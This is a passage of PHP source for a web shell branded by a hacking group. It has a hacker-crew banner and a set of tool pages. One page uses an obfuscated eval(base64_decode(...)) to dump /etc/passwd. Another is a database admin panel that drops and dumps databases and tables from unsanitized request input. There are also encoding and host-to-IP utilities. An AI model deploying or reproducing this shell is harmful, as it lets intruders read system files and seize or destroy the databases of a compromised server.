<font size='5' color='red' bgcolor="red">
we are
</font><br><br>
<font size='5' color='green'>
THE HACKERS ARMY
</font><br><br>
<font size='5' color='red' bgcolor="red">
we are
</font><br><br>
<font size='5' color='green'>
Tha Disaster - Tha Rude - Tha J0keroo - Tha Mag!c!an - Tha X HaxOr - Tha ReDvirus Ma - Tha IndexDotHTML
</font><br><br>
<font size='5' color='red' >
me
</font><br><br>


 <A HREF="https://facebook.com/redvirus.phtml">facebook</A><br>
 <A HREF="https://facebook.com/redvirusmaroc1">page facebook</A><br>
<A HREF="https://facebook.com/redvirusmaroc1">youtube</A><br>
 <A HREF="http://army.koom.ma/">my site</A><br><br>
tnx REDR00T<br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br>






<?
}

else if (preg_match) {
}


?>
<?
////////////////////////////////// config/////////////////////////////////////
if ($_GET['tha'] == 'config') {
?>
<A HREF="?"><button size="4" style='width: 300px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:12pt; color:#59E817'>back</button></A><br><br>
<html>
<head>
</head>
<body><br><br><br>
<center>
<form method="POST">
<font size="5" color="green">
Passwd :
</font>
<p>&nbsp;</p>
<textarea rows=25 style='width:60%;height:50% border:1px dotted #59E817; background-color:#0C0C0C; font-family:Tahoma; font-size:8pt; color:#59E817;' name="passwd" ><?php eval(base64_decode("ZWNobyBmaWxlX2dldF9jb250ZW50cygnL2V0Yy9wYXNzd2QnKTs=")); ?></textarea></br>
<p>&nbsp;</p>
<input style='width: 300px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:12pt; color:#59E817' name="cat" size="80" value="Start" type="submit"></br>
</form>
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ZmlnZTwvYT48YnI+IjsKCn0KCg==")); ?>
<br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br>

<?
}

else if (preg_match) {
}


?>
<?
////////////////////////////////// base64 /////////////////////////////////////
if ($_GET['tha'] == 'base64') {
?>
<A HREF="?"><button size="4" style='width: 300px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:12pt; color:#59E817'>back</button></A><br><br>
<html>
<head>
<script language=javascript type="text/javascript">
<!--
function urlDecode(str){
    str=str.replace(new RegExp('\\+','g'),' ');
    return unescape(str);
}
function urlEncode(str){
    str=escape(str);
    str=str.replace(new RegExp('\\+','g'),'%2B');
    return str.replace(new RegExp('%20','g'),'+');
}

var END_OF_INPUT = -1;

var base64Chars = new Array(
    'A','B','C','D','E','F','G','H',
    'I','J','K','L','M','N','O','P',
    'Q','R','S','T','U','V','W','X',
    'Y','Z','a','b','c','d','e','f',
    'g','h','i','j','k','l','m','n',
    'o','p','q','r','s','t','u','v',
    'w','x','y','z','0','1','2','3',
    '4','5','6','7','8','9','+','/'
);

var reverseBase64Chars = new Array();
for (var i=0; i < base64Chars.length; i++){
    reverseBase64Chars[base64Chars[i]] = i;
}

var base64Str;
var base64Count;
function setBase64Str(str){
    base64Str = str;
    base64Count = 0;
}
function readBase64(){    
    if (!base64Str) return END_OF_INPUT;
    if (base64Count >= base64Str.length) return END_OF_INPUT;
    var c = base64Str.charCodeAt(base64Count) & 0xff;
    base64Count++;
    return c;
}
function encodeBase64(str){
    setBase64Str(str);
    var result = '';
    var inBuffer = new Array(3);
    var lineCount = 0;
    var done = false;
    while (!done && (inBuffer[0] = readBase64()) != END_OF_INPUT){
        inBuffer[1] = readBase64();
        inBuffer[2] = readBase64();
        result += (base64Chars[ inBuffer[0] >> 2 ]);
        if (inBuffer[1] != END_OF_INPUT){
            result += (base64Chars [(( inBuffer[0] << 4 ) & 0x30) | (inBuffer[1] >> 4) ]);
            if (inBuffer[2] != END_OF_INPUT){
                result += (base64Chars [((inBuffer[1] << 2) & 0x3c) | (inBuffer[2] >> 6) ]);
                result += (base64Chars [inBuffer[2] & 0x3F]);
            } else {
                result += (base64Chars [((inBuffer[1] << 2) & 0x3c)]);
                result += ('=');
                done = true;
            }
        } else {
            result += (base64Chars [(( inBuffer[0] << 4 ) & 0x30)]);
            result += ('=');
            result += ('=');
            done = true;
        }
        lineCount += 4;
        if (lineCount >= 76){
            result += ('\n');
            lineCount = 0;
        }
    }
    return result;
}
function readReverseBase64(){   
    if (!base64Str) return END_OF_INPUT;
    while (true){      
        if (base64Count >= base64Str.length) return END_OF_INPUT;
        var nextCharacter = base64Str.charAt(base64Count);
        base64Count++;
        if (reverseBase64Chars[nextCharacter]){
            return reverseBase64Chars[nextCharacter];
        }
        if (nextCharacter == 'A') return 0;
    }
    return END_OF_INPUT;
}

function ntos(n){
    n=n.toString(16);
    if (n.length == 1) n="0"+n;
    n="%"+n;
    return unescape(n);
}

function decodeBase64(str){
    setBase64Str(str);
    var result = "";
    var inBuffer = new Array(4);
    var done = false;
    while (!done && (inBuffer[0] = readReverseBase64()) != END_OF_INPUT
        && (inBuffer[1] = readReverseBase64()) != END_OF_INPUT){
        inBuffer[2] = readReverseBase64();
        inBuffer[3] = readReverseBase64();
        result += ntos((((inBuffer[0] << 2) & 0xff)| inBuffer[1] >> 4));
        if (inBuffer[2] != END_OF_INPUT){
            result +=  ntos((((inBuffer[1] << 4) & 0xff)| inBuffer[2] >> 2));
            if (inBuffer[3] != END_OF_INPUT){
                result +=  ntos((((inBuffer[2] << 6)  & 0xff) | inBuffer[3]));
            } else {
                done = true;
            }
        } else {
            done = true;
        }
    }
    return result;
}

var digitArray = new Array('0','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f');
function toHex(n){
    var result = ''
    var start = true;
    for (var i=32; i>0;){
        i-=4;
        var digit = (n>>i) & 0xf;
        if (!start || digit != 0){
            start = false;
            result += digitArray[digit];
        }
    }
    return (result==''?'0':result);
}

function pad(str, len, pad){
    var result = str;
    for (var i=str.length; i<len; i++){
        result = pad + result;
    }
    return result;
}

function encodeHex(str){
    var result = "";
    for (var i=0; i<str.length; i++){
        result += pad(toHex(str.charCodeAt(i)&0xff),2,'0');
    }
    return result;
}

var hexv = {
  "00":0,"01":1,"02":2,"03":3,"04":4,"05":5,"06":6,"07":7,"08":8,"09":9,"0A":10,"0B":11,"0C":12,"0D":13,"0E":14,"0F":15,
  "10":16,"11":17,"12":18,"13":19,"14":20,"15":21,"16":22,"17":23,"18":24,"19":25,"1A":26,"1B":27,"1C":28,"1D":29,"1E":30,"1F":31,
  "20":32,"21":33,"22":34,"23":35,"24":36,"25":37,"26":38,"27":39,"28":40,"29":41,"2A":42,"2B":43,"2C":44,"2D":45,"2E":46,"2F":47,
  "30":48,"31":49,"32":50,"33":51,"34":52,"35":53,"36":54,"37":55,"38":56,"39":57,"3A":58,"3B":59,"3C":60,"3D":61,"3E":62,"3F":63,
  "40":64,"41":65,"42":66,"43":67,"44":68,"45":69,"46":70,"47":71,"48":72,"49":73,"4A":74,"4B":75,"4C":76,"4D":77,"4E":78,"4F":79,
  "50":80,"51":81,"52":82,"53":83,"54":84,"55":85,"56":86,"57":87,"58":88,"59":89,"5A":90,"5B":91,"5C":92,"5D":93,"5E":94,"5F":95,
  "60":96,"61":97,"62":98,"63":99,"64":100,"65":101,"66":102,"67":103,"68":104,"69":105,"6A":106,"6B":107,"6C":108,"6D":109,"6E":110,"6F":111,
  "70":112,"71":113,"72":114,"73":115,"74":116,"75":117,"76":118,"77":119,"78":120,"79":121,"7A":122,"7B":123,"7C":124,"7D":125,"7E":126,"7F":127,
  "80":128,"81":129,"82":130,"83":131,"84":132,"85":133,"86":134,"87":135,"88":136,"89":137,"8A":138,"8B":139,"8C":140,"8D":141,"8E":142,"8F":143,
  "90":144,"91":145,"92":146,"93":147,"94":148,"95":149,"96":150,"97":151,"98":152,"99":153,"9A":154,"9B":155,"9C":156,"9D":157,"9E":158,"9F-":159,
  "A0":160,"A1":161,"A2":162,"A3":163,"A4":164,"A5":165,"A6":166,"A7":167,"A8":168,"A9":169,"AA":170,"AB":171,"AC":172,"AD":173,"AE":174,"AF":175,
  "B0":176,"B1":177,"B2":178,"B3":179,"B4":180,"B5":181,"B6":182,"B7":183,"B8":184,"B9":185,"BA":186,"BB":187,"BC":188,"BD":189,"BE":190,"BF":191,
  "C0":192,"C1":193,"C2":194,"C3":195,"C4":196,"C5":197,"C6":198,"C7":199,"C8":200,"C9":201,"CA":202,"CB":203,"CC":204,"CD":205,"CE":206,"CF":207,
  "D0":208,"D1":209,"D2":210,"D3":211,"D4":212,"D5":213,"D6":214,"D7":215,"D8":216,"D9":217,"DA":218,"DB":219,"DC":220,"DD":221,"DE":222,"DF":223,
  "E0":224,"E1":225,"E2":226,"E3":227,"E4":228,"E5":229,"E6":230,"E7":231,"E8":232,"E9":233,"EA":234,"EB":235,"EC":236,"ED":237,"EE":238,"EF":239,
  "F0":240,"F1":241,"F2":242,"F3":243,"F4":244,"F5":245,"F6":246,"F7":247,"F8":248,"F9":249,"FA":250,"FB":251,"FC":252,"FD":253,"FE":254,"FF":255
};

function decodeHex(str){
    str = str.toUpperCase().replace(new RegExp("s/[^0-9A-Z]//g"));
    var result = "";
    var nextchar = "";
    for (var i=0; i<str.length; i++){
        nextchar += str.charAt(i);
        if (nextchar.length == 2){
            result += ntos(hexv[nextchar]);
            nextchar = "";
        }
    }
    return result;
    
}
//--></script>

</head>
<body>

<form name=code onsubmit="return false()">
<textarea rows=25 name=text style='border:1px dotted #59E817; background-color:#0C0C0C; font-family:Tahoma; font-size:8pt; color:#59E817; width:60%;height:60%;' onfocus='if (this.value=="Enter text to encode or decode here."){this.value="";}'>Enter text to encode or decode here.</textarea>
<table>
<tr>
<td align=center>
<input style='width: 300px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:12pt; color:#59E817' value="Encode" type=button onclick="document.code.text.value=encodeBase64(document.code.text.value);"><br>

<input style='width: 300px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:12pt; color:#59E817' value="Decode" type=button onclick="document.code.text.value=decodeBase64(document.code.text.value);">
</td></tr>
<tr><br>
<input style='width: 300px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:12pt; color:#59E817' type=reset value=Clear><br>
----------------------------------------------
</td><td align=center>
</td></tr><br></table><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br>
<?
}

else if (preg_match) {
}

?>
<?
/////////////////////// ip site  //////////////////////////////
if ($_GET['tha'] == 'ip') {
?>
<A HREF="?"><button size="4" style='width: 300px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:12pt; color:#59E817'>back</button></A><br><br>
<?
echo"

<form method='post' ><center>

<textarea style='border:1px dotted #59E817; width: 543px; height: 420px; background-color:#0C0C0C; font-family:Tahoma; font-size:12pt; color:#59E817' cols='50' rows='12' name='site2ip' > www.example.com

Romove http:// or https://</textarea></br><br>

<input 
style='width: 300px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:12pt; color:#59E817' type='submit' name='w2ip' value='Extract' ><br>

</center>"; ?>

<?

if(isset($_POST['site2ip'])){ 

foreach(explode("\n",$_POST['site2ip']) as $site4ip){ 

$ipp=trim($site4ip);

echo '<font color="red" size="3"></font><font color="green" size="5"><center>

<font color="Blue" size="3"</font><font color=Green face=Verdana size=-2>'.$ipp.'</font>

<font color=white face=Verdana size=-2>  ==> </font> <font color=Green face=Verdana size=-2>'.gethostbyname ($ipp).'</font></center></font>'; 

}

}

}


?>
<?
///////////////////////////////////// sql ///////////////////////////////////////
if ($_GET['tha'] == 'sql') {
?>
<A HREF="?"><button size="4" style='width: 300px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:12pt; color:#59E817'>back</button></A><br><br>
<?


if ( function_exists('ini_get') ) {
	$onoff = ini_get('register_globals');
} else {
	$onoff = get_cfg_var('register_globals');
}
if ($onoff != 1) {
	@extract($HTTP_SERVER_VARS, EXTR_SKIP);
	@extract($HTTP_COOKIE_VARS, EXTR_SKIP);
	@extract($HTTP_POST_FILES, EXTR_SKIP);
	@extract($HTTP_POST_VARS, EXTR_SKIP);
	@extract($HTTP_GET_VARS, EXTR_SKIP);
	@extract($HTTP_ENV_VARS, EXTR_SKIP);
}

function logon() {
	global $PHP_SELF;

	setcookie( "mysql_web_admin_username" );
	setcookie( "mysql_web_admin_password" );
	setcookie( "mysql_web_admin_hostname" );
	echo "<html>\n";
	echo "<head>\n";
	echo "</head>\n";
	echo "<body>\n";
	echo "<table width=100% height=100%><tr><td><center>\n";
	echo "<table cellpadding=2><tr><td bgcolor=black><center>\n";
	echo "<table cellpadding=20><tr><td bgcolor=#ffffff><center>\n";
	echo "<font size=5 color=red>SQL DB BY RED VIRUS MAROC </font>\n";
	echo "<form action='$PHP_SELF'>\n";
	echo "<input 
style='width: 300px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:8pt; color:#59E817' type=hidden name=action value=logon_submit>\n";
	echo "<table cellpadding=5 cellspacing=1>\n";
	echo "<tr><td><font color=red>Hostname </font></td><td> <input 
style='width: 300px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:8pt; color:#59E817' type=text name=hostname value='localhost'></td></tr>\n";
	echo "<tr><td><font color=red>Username </font></td><td> <input 
style='width: 300px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:8pt; color:#59E817' type=text name=username></td></tr>\n";
	echo "<tr><td><font color=red>Password </font> </td><td> <input 
style='width: 300px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:8pt; color:#59E817' type=password name=password></td></tr>\n";
	echo "</table><p>\n";
	echo "<input 
style='width: 300px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:8pt; color:#59E817' type=submit value='Enter'>\n <br>";
	echo "<input 
style='width: 300px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:8pt; color:#59E817' type=reset value='Clear'><br>\n <br>";
	echo "</form>\n";
	echo "</center></td></tr></table>\n";
	echo "</center></td></tr></table>\n";
	echo "<p><hr width=300>\n";
	echo "</center></td></tr></table>\n";
	echo "</body>\n";
	echo "</html>\n";
}

function logon_submit() {
	global $username, $password, $hostname ,$PHP_SELF;
	if($hostname =='')
		$hostname = 'localhost';
	setcookie( "mysql_web_admin_username", $username );
	setcookie( "mysql_web_admin_password", $password );
	setcookie( "mysql_web_admin_hostname", $hostname );
	echo "<html>";
	echo "<head>";
	echo "<META HTTP-EQUIV=Refresh CONTENT='0; URL=$PHP_SELF?action=listDBs'>";
	echo "</head>";
	echo "</html>";
}

function echoQueryResult() {
	global $queryStr, $errMsg;

	if( $errMsg == "" ) $errMsg = "Success";
	if( $queryStr != "" ) {
		echo "<table cellpadding=5>\n";
		echo "<tr><td>Query</td><td>$queryStr</td></tr>\n";
		echo "<tr><td>Result</td><td>$errMsg</td></tr>\n";
		echo "</table><p>\n";
	}
}

function listDatabases() {
	global $mysqlHandle, $PHP_SELF;

	echo "<h1>Databases List</h1>\n";

	echo "<form action='$PHP_SELF'>\n";
	echo "<input 
style='width: 300px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:8pt; color:#59E817' type=hidden name=action value=createDB>\n";
	echo "<input 
style='width: 300px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:8pt; color:#59E817' type=text name=dbname>\n";
	echo "<input 
style='width: 300px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:8pt; color:#59E817' type=submit value='Create Database'>\n";
	echo "</form>\n";
	echo "<hr>\n";

	echo "<table cellspacing=1 cellpadding=5>\n";

	$pDB = mysql_list_dbs( $mysqlHandle );
	$num = mysql_num_rows( $pDB );
	for( $i = 0; $i < $num; $i++ ) {
		$dbname = mysql_dbname( $pDB, $i );
		echo "<tr>\n";
		echo "<td>$dbname</td>\n";
		echo "<td><a href='$PHP_SELF?action=listTables&dbname=$dbname'>Tables</a></td>\n";
		echo "<td><a href='$PHP_SELF?action=dropDB&dbname=$dbname' onClick=\"return confirm('Drop Database \'$dbname\'?')\">Drop</a></td>\n";
		echo "<td><a href='$PHP_SELF?action=dumpDB&dbname=$dbname' onClick=\"return confirm('Dump Database \'$dbname\'?')\">Dump</a></td>\n";
		echo "</tr>\n";
	}
	echo "</table>\n";
}

function createDatabase() {
	global $mysqlHandle, $dbname, $PHP_SELF;

	mysql_create_db( $dbname, $mysqlHandle );
	listDatabases();
}

function dropDatabase() {
	global $mysqlHandle, $dbname, $PHP_SELF;

	mysql_drop_db( $dbname, $mysqlHandle );
	listDatabases();
}

function listTables() {
	global $mysqlHandle, $dbname, $PHP_SELF;


	echo "<h1>Tables List</h1>\n";
	echo "<p class=location>$dbname</p>\n";
	echoQueryResult();
	echo "<form action='$PHP_SELF'>\n";
	echo "<input 
style='width: 300px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:8pt; color:#59E817' type=hidden name=action value=createTable>\n";
	echo "<input 
style='width: 300px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:8pt; color:#59E817' type=hidden name=dbname value=$dbname>\n";
	echo "<input 
style='width: 300px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:8pt; color:#59E817' type=text name=tablename>\n";
	echo "<input 
style='width: 300px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:8pt; color:#59E817' type=submit value='Create Table'>\n";
	echo "</form>\n";
	echo "<form action='$PHP_SELF'>\n";
	echo "<input 
style='width: 300px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:8pt; color:#59E817' type=hidden name=action value=query>\n";
	echo "<input 
style='width: 300px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:8pt; color:#59E817' type=hidden name=dbname value=$dbname>\n";
	echo "<input 
style='width: 300px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:8pt; color:#59E817' type=text size=120 name=queryStr>\n";
	echo "<input 
style='width: 300px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:8pt; color:#59E817' type=submit value='Query'>\n";
	echo "</form>\n";
	echo "<hr>\n";

	$pTable = mysql_list_tables( $dbname );

	if( $pTable == 0 ) {
		$msg  = mysql_error();
		echo "<h3>Error : $msg</h3><p>\n";
		return;
	}
	$num = mysql_num_rows( $pTable );

	echo "<table cellspacing=1 cellpadding=5>\n";

	for( $i = 0; $i < $num; $i++ ) {
		$tablename = mysql_tablename( $pTable, $i );

		echo "<tr>\n";
		echo "<td>\n";
		echo "$tablename\n";
		echo "</td>\n";
		echo "<td>\n";
		echo "<a href='$PHP_SELF?action=viewSchema&dbname=$dbname&tablename=$tablename'>Schema</a>\n";
		echo "</td>\n";
		echo "<td>\n";
		echo "<a href='$PHP_SELF?action=viewData&dbname=$dbname&tablename=$tablename'>Data</a>\n";
		echo "</td>\n";
		echo "<td>\n";
		echo "<a href='$PHP_SELF?action=dropTable&dbname=$dbname&tablename=$tablename' onClick=\"return confirm('Drop Table \'$tablename\'?')\">Drop</a>\n";
		echo "</td>\n";
		echo "<td>\n";
		echo "<a href='$PHP_SELF?action=dumpTable&dbname=$dbname&tablename=$tablename' onClick=\"return confirm('Dump Table \'$tablename\'?')\">Dump</a>\n";
		echo "</td>\n";
		echo "</tr>\n";
	}

	echo "</table>";
}

function createTable() {
	global $mysqlHandle, $dbname, $tablename, $PHP_SELF, $queryStr, $errMsg;

	$queryStr = "CREATE TABLE $tablename ( no INT )";
	mysql_select_db( $dbname, $mysqlHandle );
	mysql_query( $queryStr, $mysqlHandle );
	$errMsg = mysql_error();

	listTables();
}

function dropTable() {
	global $mysqlHandle, $dbname, $tablename, $PHP_SELF, $queryStr, $errMsg;

	$queryStr = "DROP TABLE $tablename";
	mysql_select_db( $dbname, $mysqlHandle );
	mysql_query( $queryStr, $mysqlHandle );
	$errMsg = mysql_error();

	listTables();
}

function viewSchema() {
	global $mysqlHandle, $dbname, $tablename, $PHP_SELF, $queryStr, $errMsg;

	echo "<h1>Table Schema</h1>\n";
	echo "<p class=location>$dbname &gt; $tablename</p>\n";

	echoQueryResult();

	echo "<a href='$PHP_SELF?action=addField&dbname=$dbname&tablename=$tablename'>Add Field</a> | \n";
	echo "<a href='$PHP_SELF?action=viewData&dbname=$dbname&tablename=$tablename'>View Data</a>\n";
	echo "<hr>\n";

	$pResult = mysql_db_query( $dbname, "SHOW fields FROM $tablename" );
	$num = mysql_num_rows( $pResult );

	echo "<table cellspacing=1 cellpadding=5>\n";
	echo "<tr>\n";
	echo "<th>Field</th>\n";
	echo "<th>Type</th>\n";
	echo "<th>Null</th>\n";
	echo "<th>Key</th>\n";
	echo "<th>Default</th>\n";
	echo "<th>Extra</th>\n";
	echo "<th colspan=2>Action</th>\n";
	echo "</tr>\n";


	for( $i = 0; $i < $num; $i++ ) {
		$field = mysql_fetch_array( $pResult );
		echo "<tr>\n";
		echo "<td>".$field["Field"]."</td>\n";
		echo "<td>".$field["Type"]."</td>\n";
		echo "<td>".$field["Null"]."</td>\n";
		echo "<td>".$field["Key"]."</td>\n";
		echo "<td>".$field["Default"]."</td>\n";
		echo "<td>".$field["Extra"]."</td>\n";
		$fieldname = $field["Field"];
		echo "<td><a href='$PHP_SELF?action=editField&dbname=$dbname&tablename=$tablename&fieldname=$fieldname'>Edit</a></td>\n";
		echo "<td><a href='$PHP_SELF?action=dropField&dbname=$dbname&tablename=$tablename&fieldname=$fieldname' onClick=\"return confirm('Drop Field \'$fieldname\'?')\">Drop</a></td>\n";
		echo "</tr>\n";
	}
	echo "</table>\n";

}

function manageField( $cmd ) {
	global $mysqlHandle, $dbname, $tablename, $fieldname, $PHP_SELF;

	if( $cmd == "add" )
		echo "<h1>Add Field</h1>\n";
	else if( $cmd == "edit" ) {
		echo "<h1>Edit Field</h1>\n";
		$pResult = mysql_db_query( $dbname, "SHOW fields FROM $tablename" );
		$num = mysql_num_rows( $pResult );
		for( $i = 0; $i < $num; $i++ ) {
			$field = mysql_fetch_array( $pResult );
			if( $field["Field"] == $fieldname ) {
				$fieldtype = $field["Type"];
				$fieldkey = $field["Key"];
				$fieldextra = $field["Extra"];
				$fieldnull = $field["Null"];
				$fielddefault = $field["Default"];
				break;
			}
		}
		$type = strtok( $fieldtype, " (,)\n" );
		if( strpos( $fieldtype, "(" ) ) {
			if( $type == "enum" | $type == "set" ) {
				$valuelist = strtok( " ()\n" );
			} else {
				$M = strtok( " (,)\n" );
				if( strpos( $fieldtype, "," ) )
					$D = strtok( " (,)\n" );
			}
		}
	}

	echo "<p class=location>$dbname &gt; $tablename</p>\n";
	echo "<form action=$PHP_SELF>\n";

	if( $cmd == "add" )
		echo "<input 
style='width: 300px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:8pt; color:#59E817' type=hidden name=action value=addField_submit>\n";
	else if( $cmd == "edit" ) {
		echo "<input 
style='width: 300px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:8pt; color:#59E817' type=hidden name=action value=editField_submit>\n";
		echo "<input 
style='width: 300px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:8pt; color:#59E817' type=hidden name=old_name value=$fieldname>\n";
	}
	echo "<input 
style='width: 300px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:8pt; color:#59E817' type=hidden name=dbname value=$dbname>\n";
	echo "<input 
 type=hidden name=tablename value=$tablename>\n";

	echo "<h3>Name</h3>\n";
	echo "<input  type=text name=name value=$fieldname><p>\n";
	echo '

<h3>Type</h3>

<font size=2>
* `M\' indicates the maximum display size.<br>
* `D\' applies to floating-point types and indicates the number of digits following the decimal point.<br>
</font>

<table>
<tr>
<th>Type</th><th>&nbspM&nbsp</th><th>&nbspD&nbsp</th><th>unsigned</th><th>zerofill</th><th>binary</th>
</tr>
<tr>
<td><input type=radio name=type value="TINYINT" '; if( $type == "tinyint" ) echo "checked";echo '>TINYINT (-128 ~ 127)</td>
<td align=center>O</td>
<td>&nbsp</td>
<td align=center>O</td>
<td align=center>O</td>
<td>&nbsp</td>
</tr>
<tr>
<td><input   type=radio name=type value="SMALLINT" '; if( $type == "smallint" ) echo "checked";echo '>SMALLINT (-32768 ~ 32767)</td>
<td align=center>O</td>
<td>&nbsp</td>
<td align=center>O</td>
<td align=center>O</td>
<td>&nbsp</td>
</tr>
<tr>
<td><input type=radio name=type value="MEDIUMINT" '; if( $type == "mediumint" ) echo "checked";echo '>MEDIUMINT (-8388608 ~ 8388607)</td>

<td align=center>O</td>
<td>&nbsp</td>
<td align=center>O</td>
<td align=center>O</td>
<td>&nbsp</td>
</tr>
<tr>
<td><input type=radio name=type value="INT" '; if( $type == "int" ) echo "checked";echo '>INT (-2147483648 ~ 2147483647)</td>
<td align=center>O</td>
<td>&nbsp</td>
<td align=center>O</td>
<td align=center>O</td>
<td>&nbsp</td>
</tr>
<tr>
<td><input type=radio name=type value="BIGINT" '; if( $type == "bigint" ) echo "checked";echo '>BIGINT (-9223372036854775808 ~ 9223372036854775807)</td>
<td align=center>O</td>
<td>&nbsp</td>
<td align=center>O</td>
<td align=center>O</td>
<td>&nbsp</td>
</tr>
<tr>
<td><input type=radio name=type value="FLOAT" '; if( $type == "float" ) echo "checked";echo '>FLOAT</td>
<td align=center>O</td>
<td align=center>O</td>
<td>&nbsp</td>
<td align=center>O</td>
<td>&nbsp</td>
</tr>
<tr>
<td><input type=radio name=type value="DOUBLE" '; if( $type == "double" ) echo "checked";echo '>DOUBLE</td>
<td align=center>O</td>
<td align=center>O</td>
<td>&nbsp</td>
<td align=center>O</td>
<td>&nbsp</td>
</tr>
<tr>
<td><input type=radio name=type value="DECIMAL" '; if( $type == "decimal" ) echo "checked";echo '>DECIMAL(NUMERIC)</td>
<td align=center>O</td>
<td align=center>O</td>
<td>&nbsp</td>
<td align=center>O</td>
<td>&nbsp</td>
</tr>
<tr>
<td><input type=radio name=type value="DATE" '; if( $type == "date" ) echo "checked";echo '>DATE (1000-01-01 ~ 9999-12-31, YYYY-MM-DD)</td>
<td>&nbsp</td>
<td>&nbsp</td>
<td>&nbsp</td>
<td>&nbsp</td>
<td>&nbsp</td>
</tr>
<tr>
<td><input type=radio name=type value="DATETIME" '; if( $type == "datetime" ) echo "checked";echo '>DATETIME (1000-01-01 00:00:00 ~ 9999-12-31 23:59:59, YYYY-MM-DD HH:MM:SS)</td>
<td>&nbsp</td>
<td>&nbsp</td>
<td>&nbsp</td>
<td>&nbsp</td>
<td>&nbsp</td>
</tr>
<tr>
<td><input type=radio name=type value="TIMESTAMP" '; if( $type == "timestamp" ) echo "checked";echo '>TIMESTAMP (1970-01-01 00:00:00 ~ 2106..., YYYYMMDD[HH[MM[SS]]])</td>
<td align=center>O</td>
<td>&nbsp</td>
<td>&nbsp</td>
<td>&nbsp</td>
<td>&nbsp</td>
</tr>
<tr>
<td><input type=radio name=type value="TIME" '; if( $type == "time" ) echo "checked";echo '>TIME (-838:59:59 ~ 838:59:59, HH:MM:SS)</td>
<td>&nbsp</td>
<td>&nbsp</td>
<td>&nbsp</td>
<td>&nbsp</td>
<td>&nbsp</td>
</tr>
<tr>
<td><input type=radio name=type value="YEAR" '; if( $type == "year" ) echo "checked";echo '>YEAR (1901 ~ 2155, 0000, YYYY)</td>
<td>&nbsp</td>
<td>&nbsp</td>
<td>&nbsp</td>
<td>&nbsp</td>
<td>&nbsp</td>
</tr>
<tr>
<td><input type=radio name=type value="CHAR" '; if( $type == "char" ) echo "checked";echo '>CHAR</td>
<td align=center>O</td>
<td>&nbsp</td>
<td>&nbsp</td>
<td>&nbsp</td>
<td align=center>O</td>
</tr>
<tr>
<td><input type=radio name=type value="VARCHAR" '; if( $type == "varchar" ) echo "checked";echo '>VARCHAR</td>
<td align=center>O</td>
<td>&nbsp</td>
<td>&nbsp</td>
<td>&nbsp</td>
<td align=center>O</td>
</tr>
<tr>
<td><input type=radio name=type value="TINYTEXT" '; if( $type == "tinytext" ) echo "checked";echo '>TINYTEXT (0 ~ 255)</td>
<td>&nbsp</td>
<td>&nbsp</td>
<td>&nbsp</td>
<td>&nbsp</td>
<td>&nbsp</td>
</tr>
<tr>
<td><input type=radio name=type value="TEXT" '; if( $type == "text" ) echo "checked";echo '>TEXT (0 ~ 65535)</td>
<td>&nbsp</td>
<td>&nbsp</td>
<td>&nbsp</td>
<td>&nbsp</td>
<td>&nbsp</td>
</tr>
<tr>
<td><input type=radio name=type value="MEDIUMTEXT" '; if( $type == "mediumtext" ) echo "checked";echo '>MEDIUMTEXT (0 ~ 16777215)</td>
<td>&nbsp</td>
<td>&nbsp</td>
<td>&nbsp</td>
<td>&nbsp</td>
<td>&nbsp</td>
</tr>
<tr>
<td><input type=radio name=type value="LONGTEXT" '; if( $type == "longtext" ) echo "checked";echo '>LONGTEXT (0 ~ 4294967295)</td>
<td>&nbsp</td>
<td>&nbsp</td>
<td>&nbsp</td>
<td>&nbsp</td>
<td>&nbsp</td>
</tr>
<tr>
<td><input type=radio name=type value="TINYBLOB" '; if( $type == "tinyblob" ) echo "checked";echo '>TINYBLOB (0 ~ 255)</td>
<td>&nbsp</td>
<td>&nbsp</td>
<td>&nbsp</td>
<td>&nbsp</td>
<td>&nbsp</td>
</tr>
